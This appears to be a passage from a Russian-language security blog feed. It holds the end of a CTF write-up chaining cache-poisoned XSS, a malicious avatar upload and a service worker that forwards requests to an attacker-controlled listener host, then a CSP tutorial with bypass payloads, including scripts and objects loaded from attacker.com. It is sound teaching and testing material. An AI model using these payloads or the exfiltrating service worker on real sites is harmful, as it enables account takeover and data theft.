    <img src="https://img1.teletype.in/files/0f/ea/0fead55b-018b-4ff2-bb26-a2228eb7f33c.png" />
  </figure>
  <p id="cLAn">Если обратиться к несуществующему изображению на этом домене, то мы получаем ошибку, и в запросе с ошибкой можно обратить внимание на важную деталь: <strong>содержимое хэдера X-Cache:</strong></p>
  <figure id="SOp7" class="m_column">
    <img src="https://img3.teletype.in/files/26/58/26583d68-06ad-4614-8bc3-a397f62927a7.png" />
  </figure>
  <p id="9hK3">Из полученной информации можно понять, что на <strong>CDN</strong> используется кэширование ответов, и первое, что приходит в голову, — это попробовать найти <strong>XSS</strong> в этом запросе.</p>
  <p id="AfSu">Так как мы контролируем название файла, которое рефлектится в ответе, попробуем добавить в название полезную нагрузку:</p>
  <figure id="6nov" class="m_column">
    <img src="https://img2.teletype.in/files/9e/9c/9e9cdd2b-54fb-420f-bdc4-947d473bf24d.png" />
  </figure>
  <p id="OsFO">Но, к сожалению, при попытке воспользоваться уязвимостью в браузере, мы сталкиваемся с тем, что спецсимволы кодируются при помощью <strong>URL</strong>, что мешает внедрению скрипта:</p>
  <figure id="SDdB" class="m_column">
    <img src="https://img3.teletype.in/files/2b/ba/2bba62fb-2c8b-4291-8865-9fa209b73f05.png" />
  </figure>
  <p id="xCpu">Ответ попадает в кэш-сервера при выполнении одного условия, — это обязательное наличие расширения в конце названия загружаемого изображения <strong>(.png, .jpg и другие)</strong>, обойти которое можно, добавив полезную нагрузку до расширения:</p>
  <figure id="OiQi" class="m_column">
    <img src="https://img4.teletype.in/files/b9/f0/b9f01948-d607-4de8-92c3-e2a5820b6eb0.png" />
  </figure>
  <h3 id="WebCachePoisoning-+-Bypass-Url-Encoding">WebCachePoisoning + Bypass Url Encoding</h3>
  <p id="ZtVG"><strong>Полезная нагрузка попадает в ответ от сервера, и затем ответ кэшируется. Необходимо сначала закэшировать ответ с исходной полезной нагрузкой. </strong></p>
  <p id="Mq94">При следующем переходе по <strong>URL, </strong>полезная нагрузка отработает, и кодирование в <strong>URL</strong>, которое мешает эксплуатации через браузер, не сработает:</p>
  <figure id="2wJA" class="m_column">
    <img src="https://img1.teletype.in/files/c3/58/c358290a-bde4-41a4-bb84-e979d241983e.png" />
  </figure>
  <h4 id="File-Upload-+-Service-Worker">File Upload + Service Worker</h4>
  <p id="5y7k"><strong>Функциональность загрузки аватара также имеет уязвимость: существует возможность загрузки файла с любым расширением.</strong></p>
  <p id="mJmc">Для последующей эксплуатации вместо изображения я загружаю <strong>js-файл</strong> с полезной нагрузкой:</p>
  <figure id="i0Zw" class="m_column">
    <img src="https://img4.teletype.in/files/7a/37/7a37a045-0676-4e0c-8307-8f044baf7415.png" />
  </figure>
  <figure id="wWsf" class="m_column">
    <img src="https://img3.teletype.in/files/6e/15/6e15adac-cc84-45c7-8a37-9ab19cc6d392.png" />
  </figure>
  <p id="7HJC">Изменим полезную нагрузку и отправим запрос для кэширования ответа, содержащего нагрузку и путь к файлу, который мы загрузили как аватар:</p>
  <pre id="qIPB">https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?.png
</pre>
  <figure id="qwGE" class="m_column">
    <img src="https://img1.teletype.in/files/4b/51/4b51404f-744f-4242-8b64-bdc08af2cc95.png" />
  </figure>
  <p id="UFHL">При открытии ссылки кэшированный ответ отрабатывает и <strong>XSS</strong> исполняется:</p>
  <figure id="qu7l" class="m_column">
    <img src="https://img1.teletype.in/files/87/98/8798e351-b1fb-4138-b35f-d17623bb1b12.png" />
  </figure>
  <h4 id="Service-Worker">Service Worker</h4>
  <p id="GarP"><strong>Service Worker</strong> — это скрипт, который регистрируется браузером и работает отдельно от основного потока веб-приложения. Он позволяет перехватывать события сети (такие как запросы и ответы), управлять кэшированием и обеспечивать оффлайн функциональность.</p>
  <p id="2qMi">При эксплуатации <strong>XSS</strong>, <strong>Service Worker</strong> может быть использован для внедрения вредоносного кода и перехвата трафика. Мы можем изменить зарегистрированный <strong>Service Worker</strong>, чтобы перехватывать и модифицировать сетевые запросы. Это может привести, например, к утечке конфиденциальной информации.</p>
  <p id="O1nh">Ниже представлен вариант <strong>Service-Worker</strong>, который прослушивает события <strong>fetch</strong>. При срабатывании события <strong>fetch</strong> выполняется асинхронный вызов уже другой функции <strong>fetch</strong>, осуществляющий <strong>GET-запрос</strong> на подконтрольный нам сервер:</p>
  <pre id="j14q">self.addEventListener(&#x27;fetch&#x27;, (event) =&gt; {
    fetch(&#x60;https://listener/qwe?${event.request.url}&#x60;)
});
</pre>
  <p id="f5hP">В нашем случае код просто пересылает запрос на сервер с добавлением параметра &quot;<strong>qwe</strong>&quot; и значением <strong>URL-запроса</strong>.</p>
  <p id="xbPY"><strong>Подробнее про <a href="https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/abusing-service-workers" target="_blank">service-worker</a></strong></p>
  <p id="YyiL">Загружаем <strong>Service Worker</strong>:</p>
  <figure id="ck3D" class="m_column">
    <img src="https://img3.teletype.in/files/6e/6f/6e6f92f2-9be2-41dc-aac1-5e62e13c8cb8.png" />
  </figure>
  <p id="4YsO">Отправляем полезную нагрузку для загрузки <strong>Service-Worker </strong>на страницу, ответ от сервера должен обязательно попасть в кэш:</p>
  <pre id="Ib5b">navigator.serviceWorker.register(&quot;avatar-wr3d.js&quot;).then(r=&gt;{location=&#x27;https://api.challenge-1122.intigriti.io&#x27;});.png
</pre>
  <figure id="tENT" class="m_column">
    <img src="https://img2.teletype.in/files/16/40/16409073-7971-42e4-b5a3-8dd3be367180.png" />
  </figure>
  <p id="ZZDY">Копируем <strong>URL-адрес</strong> с внедренной <strong>XSS</strong> и отправляем админу:</p>
  <pre id="2Puh">https://cdn.challenge-1122.intigriti.io/uploads/subscribe.png?navigator.serviceWorker.register(&quot;avatar-wr3d.js&quot;).then(r=&gt;{location=&#x27;https://api.challenge-1122.intigriti.io&#x27;});11111.png
</pre>
  <figure id="vFfB" class="m_column">
    <img src="https://img3.teletype.in/files/e1/46/e146fe37-4449-4f3b-b360-3b88980b7151.png" />
  </figure>
  <p id="VPwc">Прилетает запрос:</p>
  <figure id="CRZh" class="m_column">
    <img src="https://img2.teletype.in/files/99/85/998596aa-b31d-4617-9d92-c8898cbc32bd.png" />
  </figure>
  <p id="MVjS">По ссылке находится хинт:</p>
  <figure id="xATQ" class="m_column">
    <img src="https://img4.teletype.in/files/34/ae/34ae4092-8822-4a6d-8625-3f7f4a29e961.png" />
  </figure>
  <p id="HfUG"><strong>Кроме этого оказалось, что у приложения существует тестовый стенд, который можно использовать для создания идентификатора авторизации администратора</strong></p>
  <pre id="pJAK">https://staging.challenge-1122.intigriti.io/signup
</pre>
  <p id="NfX1"><strong>Мы знаем username администратора из запроса, который пришел нам на сервер при эксплуатации XSS.</strong></p>
  <p id="mOWM">Пробуем зарегистрироваться с идентификатором администратора и использовать его <strong>JWT-токен</strong> для авторизации на основном домене.</p>
  <figure id="1uEy" class="m_column">
    <img src="https://img1.teletype.in/files/c0/1f/c01f6485-45a5-40b3-84af-a90036516651.png" />
  </figure>
  <p id="H6QC">Это срабатывает. Теперь осталось взять <strong>JWT</strong>, авторизоваться на основном домене от имени администратора и получить заключительный флаг, находится в аватарке:</p>
  <figure id="5iyl" class="m_column">
    <img src="https://img1.teletype.in/files/0b/7a/0b7a75aa-3b7b-488d-9016-7f71d01e9e62.png" />
  </figure>
  <figure id="aNC9" class="m_column">
    <img src="https://img1.teletype.in/files/48/f5/48f5f773-b877-451d-ba6e-a53e8a2f775e.png" />
  </figure>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@wr3dmast3r/Content-Security-Policy-10-31</guid><link>https://teletype.in/@wr3dmast3r/Content-Security-Policy-10-31?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r</link><comments>https://teletype.in/@wr3dmast3r/Content-Security-Policy-10-31?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=wr3dmast3r#comments</comments><dc:creator>wr3dmast3r</dc:creator><title>Content Security Policy</title><pubDate>Sat, 02 Mar 2024 23:33:37 GMT</pubDate><media:content medium="image" url="https://img3.teletype.in/files/21/d0/21d0ec36-0e3f-4d32-9283-73176c395a0e.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/8e/25/8e252154-85c4-4ad5-b93a-735a59bd0bb3.png"></img>Content-Security-Policy или CSP — это встроенная технология браузера, которая помогает защитить от атак, таких как межсайтовый скриптинг (XSS) . Она перечисляет и описывает пути и источники, из которых браузер может безопасно загружать ресурсы. Ресурсы могут включать изображения, фреймы, JavaScript и многое другое.]]></description><content:encoded><![CDATA[
  <figure id="wAfo" class="m_column">
    <img src="https://img1.teletype.in/files/8e/25/8e252154-85c4-4ad5-b93a-735a59bd0bb3.png" />
  </figure>
  <h3 id="Что-такое-CSP?">Что такое CSP?</h3>
  <p id="oYQD"><strong>Content-Security-Policy</strong> или <strong>CSP</strong> — это встроенная технология браузера, которая <strong>помогает защитить от атак, таких как межсайтовый скриптинг (XSS) </strong>. Она перечисляет и описывает пути и источники, из которых браузер может безопасно загружать ресурсы. Ресурсы могут включать изображения, фреймы, JavaScript и многое другое.</p>
  <p id="wQNb">Политика <strong>CSP </strong>может предписать браузерам выполнять код только из определенных источников, тем самым обеспечивая дополнительный уровень защиты от XSS-атак.</p>
  <p id="UDH4">Однако существуют некоторые обстоятельства, при которых политику CSP можно обойти. В этой статье будут рассмотрены примеры, как можно обойти политику <strong>CSP,</strong> например, <strong>с помощью инъекции и использования дополнительной директивы.</strong></p>
  <h3 id="Как-это-работает?">Как это работает?</h3>
  <p id="9bbg">Обнаружить политику безопасного контента можно через заголовок ответа:</p>
  <pre id="QoCX">Content-Security-Policy: default-src &#x27;self&#x27;; img-src &#x27;self&#x27; allowed-website.com; style-src &#x27;self&#x27;;
</pre>
  <p id="a6Br">Реализовано через мета-тег:</p>
  <pre id="oRsO">&lt;meta http-equiv=&quot;Content-Security-Policy&quot; content=&quot;default-src &#x27;self&#x27;; img-src https://*; child-src &#x27;none&#x27;;&quot;&gt;
</pre>
  <p id="Ai2N">Давайте взглянем на простой пример использования <strong>CSP</strong>. Запрос с полезной нагрузкой <strong>XSS</strong>:</p>
  <pre id="hwyF">GET /lab/id/?search=search&lt;script&gt;alert(1)&lt;/script&gt; HTTP/1.1
Host: 127.0.0.1
</pre>
  <p id="n2mK">И ответ с полезной нагрузкой вернулся дословно и js исполнился на странице:</p>
  <figure id="8BkU" class="m_column">
    <img src="https://img4.teletype.in/files/fd/c7/fdc75d6a-79de-4a40-9466-e89368f687e2.png" />
  </figure>
  <figure id="wRAP" class="m_column">
    <img src="https://img4.teletype.in/files/bf/b9/bfb91dff-1d88-4332-a6c6-ec6d5fb26b37.png" />
  </figure>
  <p id="nHll">Теперь давайте попробуем митигировать уязвимость с помощью <strong>CSP</strong>. В рамках исправления мы добавляем заголовок ответа <strong>Content-Security-Policy</strong> в качестве защиты от любых XSS-уязвимостей на нашем сайте. Также вносим <strong>example.com</strong> в белый список.</p>
  <p id="iVg7">Так выглядит ответ в случае настроенного <strong>CSP</strong>, и скрипт не исполняется:</p>
  <figure id="RB5J" class="m_column">
    <img src="https://img1.teletype.in/files/81/44/81444ab3-d774-46ca-8ad9-3aa0dfb69dd3.png" />
  </figure>
  <p id="geqL">Теперь мы видим, что благодаря <strong>CSP</strong> полезная нагрузка больше не выполняется. Также при блокировке исполнения скрипта можно обратить внимание на оповещение в консоли браузера:</p>
  <figure id="vpLI" class="m_column">
    <img src="https://img4.teletype.in/files/3e/b6/3eb64c01-fafb-435e-a97e-a72882976042.png" />
  </figure>
  <h4 id="Определение-ресурсов">Определение ресурсов</h4>
  <p id="wjWw"><strong>CSP</strong> работает так, что, ограничивает источники, из которых может быть загружен динамический и статический контент. Он может дополнительно ограничивать определенные аспекты активного контента, такие как выполнение встроенного <strong>JavaScript </strong>и использование файлов <strong>eval()</strong>.</p>
  <pre id="ybcY">default-src &#x27;none&#x27;;
img-src &#x27;self&#x27;;
script-src &#x27;self&#x27; https://code.jquery.com;
style-src &#x27;self&#x27;;
report-uri /cspreport
font-src &#x27;self&#x27; https://addons.cdn.mozilla.net;
frame-src &#x27;self&#x27; https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src &#x27;none&#x27;;
</pre>
  <p id="Q4W1">Можно проверить настройку <strong>CSP</strong> на безопасность с помощью этого <a href="https://csp-evaluator.withgoogle.com/" target="_blank"><strong>ресурса</strong></a>:</p>
  <figure id="fS5o" class="m_column">
    <img src="https://img1.teletype.in/files/83/55/8355b970-5225-4c73-9237-b659c1f549a2.png" />
  </figure>
  <h3 id="В-чем-смысл-директив?">В чем смысл директив?</h3>
  <h4 id="script-src">script-src</h4>
  <p id="qCot">Директива указывает, откуда можно загружать JavaScript-код. Это включает не только прямые загрузки с веб-страниц, но и код, который встраивается в элементы HTML (например, в обработчики событий) или загружается из таблиц стилей XSLT.</p>
  <p id="eYaB"><strong>Разрешить загрузку JavaScript-файлов только с текущего домена:</strong></p>
  <pre id="Pz5h">script-src &#x27;self&#x27;;
</pre>
  <p id="kD0p"><strong>Разрешить загрузку JavaScript-файлов только с домена example.com:</strong></p>
  <pre id="7gkB">script-src https://example.com;
</pre>
  <p id="QfUw"><strong>Разрешить загрузку JavaScript-файлов с домена example.com и его поддоменов:</strong></p>
  <pre id="714L">script-src https://example.com https://*.example.com/;
</pre>
  <p id="UQgM"><strong>Разрешить загрузку JavaScript-файлов с домена example.com и домена google.com:</strong></p>
  <pre id="i8Ut">script-src https://example.com https://google.com;
</pre>
  <blockquote id="paHl"><strong>Данные примеры отражают способы настройки большинства директив, и применимы к другим директивам</strong></blockquote>
  <h4 id="default-src">default-src</h4>
  <p id="4HpK">Директива определяет политику загрузки ресурсов по умолчанию. Если в заголовке <strong>CSP</strong> отсутствуют директивы загрузки, браузер по умолчанию следует этой директиве.</p>
  <p id="F05S"><strong>Разрешить загрузку всех ресурсов по умолчанию:</strong></p>
  <pre id="MjbL">default-src *;
</pre>
  <p id="JMPu"><strong>Запретить загрузку всех ресурсов по умолчанию:</strong></p>
  <pre id="GPwH">default-src &#x27;none&#x27;;
</pre>
  <h4 id="child-src">child-src</h4>
  <p id="ObEU">Директива определяет разрешенные ресурсы для веб-воркеров и содержимого встраиваемых фреймов. Работает примерно также как и <strong>script-src</strong>.</p>
  <h4 id="connect-src">connect-src</h4>
  <p id="haw0">Директива ограничивает URL-адреса, которые могут быть загружены с использованием таких интерфейсов, как <strong>fetch</strong>, <strong>websocket</strong> и <strong>XMLHttpRequest</strong>.</p>
  <h4 id="frame-src">frame-src</h4>
  <p id="TFsP">Директива <strong>frame-src</strong> ограничивает URL-адреса фреймов, которые могут быть вызваны.</p>
  <h4 id="frame-ancestors">frame-ancestors</h4>
  <p id="Fhmx">Директива указывает источники, которые могут встраивать текущую страницу. Эта директива применяется к элементам <strong>&lt;frame&gt;</strong>, <strong>&lt;iframe&gt;</strong>, <strong>&lt;object&gt;</strong>, <strong>&lt;embed&gt;</strong> или <strong>&lt;applet&gt;</strong>. Эту директиву нельзя использовать в тегах <strong>&lt;html&gt;</strong> и <strong>&lt;head&gt;</strong>, и она применяется только к не-HTML-ресурсам.</p>
  <h4 id="img-src">img-src</h4>
  <p id="dGZi">Определяет разрешенные источники для загрузки изображений на веб-странице.</p>
  <h3 id="Источники">Источники</h3>
  <h4 id="wildcard-*">wildcard *</h4>
  <p id="zWGn">Данный символ в настройке директивы используется, чтобы указать, что разрешено любое значение.</p>
  <h4 id="self">self</h4>
  <p id="vlPN">Определяет, что загрузка ресурсов на странице разрешена с того же домена.</p>
  <h4 id="data">data</h4>
  <p id="8Kbo">Разрешает загрузку ресурсов через схему data (например, Base64-кодированных изображений).</p>
  <h4 id="none">none</h4>
  <p id="YTpr">Запрещает загрузку чего-либо из любого источника.</p>
  <h4 id="unsafe-eval">unsafe-eval</h4>
  <p id="s8WM">Разрешает браузеру выполнять код, который был получен из строки. Это может быть опасно, поскольку позволяет внедрить в веб-страницу вредоносный код.</p>
  <h4 id="unsafe-hashes">unsafe-hashes</h4>
  <p id="OOqT">Позволяет браузеру загружать и выполнять только те встроенные скрипты и стили, у которых есть хэш, который соответствует хэшу, указанному в политике. Обработчики событий, такие как <strong>onclick</strong> или <strong>onmouseover</strong>, не будут загружены и выполнены, даже если у них есть хэш.</p>
  <h4 id="unsafe-inline">unsafe-inline</h4>
  <p id="EHnR">Разрешает использование встроенных ресурсов, таких как встроенные элементы, URL-адреса <strong>javascript:</strong>, встроенные обработчики событий и встроенные элементы. Опять же, это не рекомендуется по соображениям безопасности.</p>
  <h4 id="nonce">nonce</h4>
  <p id="ujLI">Белый список для определенных встроенных скриптов, использующих криптографический <strong>nonce</strong> (случайное число, используемое один раз). Сервер должен генерировать уникальное значение <strong>nonce</strong> каждый раз, когда он передает политику.</p>
  <h4 id="strict-dynamic">strict-dynamic</h4>
  <p id="TO4z">Разрешить загрузку скриптов из источников, которые уже были проверены и признаны доверенными.</p>
  <blockquote id="P4tj">Если вам нужно изучить специфичные настройки <strong>CSP</strong> и директивы подробнее, то можно воспользоваться данным <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/CSP" target="_blank">ресурсом</a>:</blockquote>
  <figure id="fp5S" class="m_column">
    <img src="https://img2.teletype.in/files/1b/0e/1b0e931f-1460-466f-8852-8c6fb694ba3a.png" />
  </figure>
  <h3 id="Как-настроить-CSP?">Как настроить CSP?</h3>
  <p id="3KeS">Для настройки <strong>CSP</strong> в конфигурации сервера вам нужно добавить политику <strong>CSP</strong> в заголовки HTTP-ответов для вашего веб-сайта.</p>
  <p id="3imN">Общие рекомендации по настройке <strong>CSP</strong>:</p>
  <ol id="WCQ0">
    <li id="9bxK">Определите директивы и ресурсы для вашей политики, используйте ограничения по мере их необходимости.</li>
    <li id="Dq73">Используйте политику <strong>CSP</strong> вместе с другими мерами защиты, например <strong>nonce</strong> и <strong>HTTP Strict Transport Security</strong>.</li>
    <li id="M7C2">Добавьте политику <strong>CSP</strong> в заголовки HTTP-ответов для вашего веб-сайта.</li>
    <li id="O74T">Проверьте, работает ли политика <strong>CSP</strong> правильно.</li>
  </ol>
  <p id="5DEU">Данный пример будет загружать и выполнять только скрипты и стили из определенных доменов (<strong>example.com</strong>):</p>
  <pre id="qr83">Content-Security-Policy: script-src https://example.com; style-src https://example.com;
</pre>
  <h4 id="Apache">Apache</h4>
  <p id="RPjn"><strong>Как добавить политику CSP в заголовки HTTP-ответов для веб-сервера Apache:</strong></p>
  <pre id="Aa65">&lt;VirtualHost *:80&gt;
ServerName example.com
DocumentRoot /var/www/example.com
Header always set Content-Security-Policy &quot;script-src https://example.com; style-src https://example.com;&quot;
&lt;/VirtualHost&gt;
</pre>
  <p id="7gCV"><strong>Для конкретной страницы:</strong></p>
  <pre id="IHPC">&lt;Location /about&gt;
Header always set Content-Security-Policy &quot;script-src &#x27;self&#x27;; style-src &#x27;self&#x27;;&quot;
&lt;/Location&gt;
&lt;/VirtualHost&gt;
</pre>
  <h4 id="Nginx">Nginx</h4>
  <p id="rB0w"><strong>Как добавить политику CSP в заголовки HTTP-ответов для веб-сервера Nginx:</strong></p>
  <pre id="JMK5">server {
  listen 80;
  server_name example.com;
  root /var/www/example.com;

  add_header Content-Security-Policy &quot;script-src https://example.com; style-src https://example.com;&quot; always;
}
</pre>
  <p id="tVus"><strong>Для конкретной страницы:</strong></p>
  <pre id="EtGg">location /about {
add_header Content-Security-Policy &quot;script-src https://example.com; style-src https://example.com;&quot; always;
}
</pre>
  <p id="pGeN">Рекомендую сначала применить  заголовок <strong>Content-Security-Policy-Report-Only</strong>. Этот заголовок не будет блокировать нарушения, а будет только сообщать о них.</p>
  <p id="dvqi">Это позволит сначала определить заголовок <strong>CSP</strong>, а затем спокойно просматривать веб-сайт и обрабатывать нарушения <strong>CSP</strong>, не влияя на функциональность веб-сайта. В качестве отправной точки можно использовать следующую настройку:</p>
  <pre id="wMMy">Content-Security-Policy-Report-Only: default-src &#x27;self&#x27;; script-src &#x27;self&#x27;; report-uri website.nl/api/post/csp-violations;
</pre>
  <p id="snX4">Каждый раз, когда запрошенный ресурс будет нарушать <strong>CSP</strong>, браузер будет отправлять POST-запрос на URL-адрес, указанный для отчета и будет включать подробную информацию о нарушении. Таким образом, вы сможете узнать, когда <strong>CSP</strong> излишне блокирует ресурсы, а также узнаете, когда кто-то пытается внедрить что-то на ваш сайт.</p>
  <p id="Lkfe">Если у вас уже есть хорошее представление о том, как должен выглядеть ваш <strong>CSP</strong>, его также можно создать с помощью этого <a href="https://report-uri.com/home/generate" target="_blank">сайта</a>.</p>
  <h3 id="Уязвимые-настройки">Уязвимые настройки</h3>
  <blockquote id="GDCg">Вы можете использовать <a href="https://github.com/wr3dmast3r/csp" target="_blank"><strong>данный код</strong></a> для проверки политик <strong>CSP.</strong><br />Передаю привет моим коллегам <a href="https://t.me/SidneyJobChannel" target="_blank"><strong>SidneyJob</strong></a> и<a href="https://t.me/cyrus_0x00" target="_blank"><strong>cyrus_0x00</strong></a>, спасибо за помощь!</blockquote>
  <h4 id="&#39;unsafe-inline&#39;">&#x27;unsafe-inline&#x27;</h4>
  <p id="9l4l"><strong>CSP:</strong></p>
  <pre id="bbrj">Content-Security-Policy: script-src https://google.com &#x27;unsafe-inline&#x27;;
</pre>
  <p id="09cU">Уязвимость в данной политике заключается в использовании значения <strong>&#x27;unsafe inline&#x27;</strong> в качестве значения директивы <strong>script-src</strong>.</p>
  <p id="hQ8B"><strong>Paylod:</strong></p>
  <pre id="SJrc">&quot;/&gt;&lt;script&gt;alert(1);&lt;/script&gt;
</pre>
  <figure id="Zw4t" class="m_column">
    <img src="https://img3.teletype.in/files/23/a6/23a60b9a-d6b4-492a-ab2d-fafa71a49d47.png" />
  </figure>
  <figure id="NUHO" class="m_column">
    <img src="https://img2.teletype.in/files/12/25/12256617-c1cd-4704-b7f1-91542693cd9a.png" />
  </figure>
  <h4 id="&#39;data&#39;">&#x27;data&#x27;</h4>
  <p id="JXU2"><strong>CSP:</strong></p>
  <pre id="HQJf">Content-Security-Policy: script-src &#x27;self&#x27; data:; object-src &#x27;none&#x27;
</pre>
  <p id="S75D">Можно внедрить вредоносный код, используя тег <strong>script</strong> с атрибутом <strong>src</strong> со значением, указывающим на вредоносный ресурс, который начинается с <strong>data:</strong>.</p>
  <p id="FEFx"><strong>Payload:</strong></p>
  <pre id="df6q">&lt;script src=&quot;data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==&quot;&gt;&lt;/script&gt;
</pre>
  <figure id="gDqV" class="m_column">
    <img src="https://img4.teletype.in/files/7a/2a/7a2aa18c-8d51-47a8-b282-408a7fa1a7be.png" />
  </figure>
  <figure id="zZrU" class="m_column">
    <img src="https://img2.teletype.in/files/9c/fa/9cfa4c4b-fa3c-459b-b77a-b2db741940c1.png" />
  </figure>
  <h4 id="Wildcard">Wildcard</h4>
  <p id="IMZe"><strong>CSP:</strong></p>
  <pre id="zsWz">Content-Security-Policy: script-src *; object-src &#x27;none&#x27;
</pre>
  <p id="0lHZ">Неправильно настроенная политика <strong>CSP</strong> из-за использования знака<strong> &quot;*&quot;</strong> в директиве <strong>script-src</strong>.</p>
  <p id="RouK"><strong>Payload:</strong></p>
  <pre id="cSkw">&lt;script src=&quot;http://attacker.com/j.js&quot;&gt;&lt;/script&gt;
</pre>
  <figure id="5K8S" class="m_column">
    <img src="https://img1.teletype.in/files/cb/67/cb67f5c4-24dd-49f0-90f1-66482bcbe7cd.png" />
  </figure>
  <figure id="0uMf" class="m_column">
    <img src="https://img2.teletype.in/files/16/b3/16b346ed-8a4c-4518-829b-fba044d22095.png" />
  </figure>
  <h4 id="File-Upload-+-&#39;self&#39;">File Upload + &#x27;self&#x27;</h4>
  <p id="E7S4"><strong>CSP:</strong></p>
  <pre id="MUXo">Content-Security-Policy: script-src &#x27;self&#x27;; object-src &#x27;none&#x27; ;
</pre>
  <p id="JBNw">Мы видим, что <strong>object-src</strong> установлен на <strong>none</strong>, но эта данная директива все равно может быть обойдена для выполнения XSS-атаки.</p>
  <p id="XqPu">В случаях если приложение позволяет пользователям загружать на хост любые типы файлов. Атакующий может загрузить любой вредоносный скрипт и вызвать его в любом теге.</p>
  <p id="eLGn"><strong>Payload:</strong></p>
  <pre id="bFwZ">&quot;/&gt;&#x27;&gt;&lt;script src=&quot;/uploads/payload.js&quot;&gt;&lt;/script&gt;
</pre>
  <figure id="8NBO" class="m_column">
    <img src="https://img2.teletype.in/files/59/cb/59cbe1c0-cf26-4d19-b988-ec8f4a82e382.png" />
  </figure>
  <figure id="4DuN" class="m_column">
    <img src="https://img3.teletype.in/files/a0/11/a011ded7-f865-4154-9659-96d486218b22.png" />
  </figure>
  <h4 id="Third-Party-Endpoints-+-JSONP">Third Party Endpoints + JSONP</h4>
  <p id="9uGj"><strong>CSP:</strong></p>
  <pre id="ickx">Content-Security-Policy: script-src &#x27;self&#x27; https://www.google.com; object-src &#x27;none&#x27;;
</pre>
  <p id="k4Nt">В случаях, когда <strong>script-src</strong> установлен на <strong>self</strong> и определенный домен находится в белом списке, его можно обойти с помощью <a href="https://github.com/zigoo0/JSONBee/tree/master" target="_blank">JSONP</a>. Конечные точки JSONP допускают небезопасные методы обратного вызова, которые позволяют злоумышленнику выполнять XSS-атаки.</p>
  <p id="KXUy"><a href="https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt" target="_blank"><strong>Полезные нагрузки для обхода</strong></a></p>
  <p id="CVP7"><strong>Payload:</strong></p>
  <pre id="Lljm">&quot;&gt;&lt;script src=&quot;https://www.google.com/complete/search?client=chrome&amp;q=hello&amp;callback=alert#1&quot;&gt;&lt;/script&gt;
</pre>
  <figure id="mTrj" class="m_column">
    <img src="https://img2.teletype.in/files/59/ec/59ec6832-a5db-4a23-9366-d168de3d778c.png" />
  </figure>
  <figure id="RtHu" class="m_column">
    <img src="https://img4.teletype.in/files/f7/34/f734d416-218f-4734-85e0-e18880b3b5de.png" />
  </figure>
  <h3 id="Third-Party-Endpoints-+-&#39;unsafe-eval&#39;">Third Party Endpoints + &#x27;unsafe-eval&#x27;</h3>
  <p id="FXLF"><strong>CSP:</strong></p>
  <pre id="BTSQ">Content-Security-Policy: script-src https://cdnjs.cloudflare.com &#x27;unsafe-eval&#x27;;
</pre>
  <p id="QRD7"><strong>Payload:</strong></p>
  <pre id="fJyE">&lt;script src=&quot;https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js&quot;&gt;&lt;/script&gt;
&lt;div ng-app&gt; {{&#x27;a&#x27;.constructor.prototype.charAt=[].join;$eval(&#x27;x=1} } };alert(1);//&#x27;);}} &lt;/div&gt;
</pre>
  <figure id="S2g2" class="m_column">
    <img src="https://img2.teletype.in/files/1e/2a/1e2ae416-6e94-4ce6-ba17-cdf644f4b28a.png" />
  </figure>
  <figure id="uUeX" class="m_column">
    <img src="https://img4.teletype.in/files/bb/11/bb11caac-5f1a-437c-a860-b98b9099a365.png" />
  </figure>
  <h3 id="&#39;object-src&#39;">&#x27;object-src&#x27;</h3>
  <p id="aSEm"><strong>CSP:</strong></p>
  <pre id="E1U3">Content-Security-Policy: default-src &#x27;self&#x27; data: *; connect-src &#x27;self&#x27;; script-src &#x27;self&#x27; ;
</pre>
  <p id="pcx1">В случаях когда отсутствует директива <strong>object-src</strong>, остаётся возможность подгрузить объект с другого ресурса и скрипт исполнится.</p>
  <p id="13pX"><strong>Payload:</strong></p>
  <pre id="uQNn">&lt;object type=&quot;text/html&quot; data=&quot;http://attacker/payload.html&quot;&gt;&lt;/object&gt;
</pre>
  <figure id="Qsv3" class="m_column">
    <img src="https://img2.teletype.in/files/d3/f0/d3f0de02-187a-4812-9d6e-5e956104a7be.png" />
  </figure>
  <figure id="GafN" class="m_column">
    <img src="https://img3.teletype.in/files/23/90/2390f47d-5403-48a3-b922-ad7a213349d8.png" />
  </figure>
  <h3 id="Практические-пример-из-лабораторной">Практические пример из лабораторной</h3>
  <h4 id="Reflected-XSS-protected-by-CSP,-with-CSP-bypass"><a href="https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-csp-bypass" target="_blank">Reflected XSS protected by CSP, with CSP bypass</a></h4>
  <p id="pz5X">В лабораторной нас встречает функциональность поиска по сайту:</p>
  <figure id="awLc" class="m_column">
    <img src="https://img4.teletype.in/files/74/9a/749af04a-80ea-4a47-a0fb-a1fd4d205c04.png" />
  </figure>
  <p id="O8O0">Используем полезную нагрузку, для проверки на уязвимость XSS:</p>
  <pre id="esHc">&lt;script&gt;alert(1)&lt;/script&gt;
</pre>
  <figure id="9H3f" class="m_column">
    <img src="https://img4.teletype.in/files/fc/d3/fcd3f0a3-bb84-4bfd-9cbc-503339c2b9ec.png" />
  </figure>
  <p id="awum">Полезная нагрузка внедряется, но <strong>CSP</strong> мешает выполнению скрипта, и необходимо определить как именно можно обойти данное ограничение.</p>
  <figure id="oBm9" class="m_column">
    <img src="https://img3.teletype.in/files/ef/f1/eff156db-2974-437c-a0eb-615487fd8930.png" />
  </figure>
  <p id="Eo0r">Посмотрим как выглядит настройка <strong>CSP</strong> и определим, какие у нас есть ограничения:</p>
  <pre id="Jaxm">Content-Security-Policy: default-src &#x27;self&#x27;; object-src &#x27;none&#x27;;script-src &#x27;self&#x27;; style-src &#x27;self&#x27;; report-uri /csp-report?token=
</pre>
  <p id="7zlN">Можно заметить, что в настройке <strong>CSP</strong> есть параметр <strong>token</strong>, и можно попробовать передать инъекцию с его помощью, добавив параметр в <strong>URL</strong>.</p>
  <p id="y1N1">Так как сервер добавляет параметр <strong>token</strong> в ответ на запрос, у нас есть возможность добавить новую директиву <strong>CSP</strong>, чтобы попробовать обойти ограничения.</p>
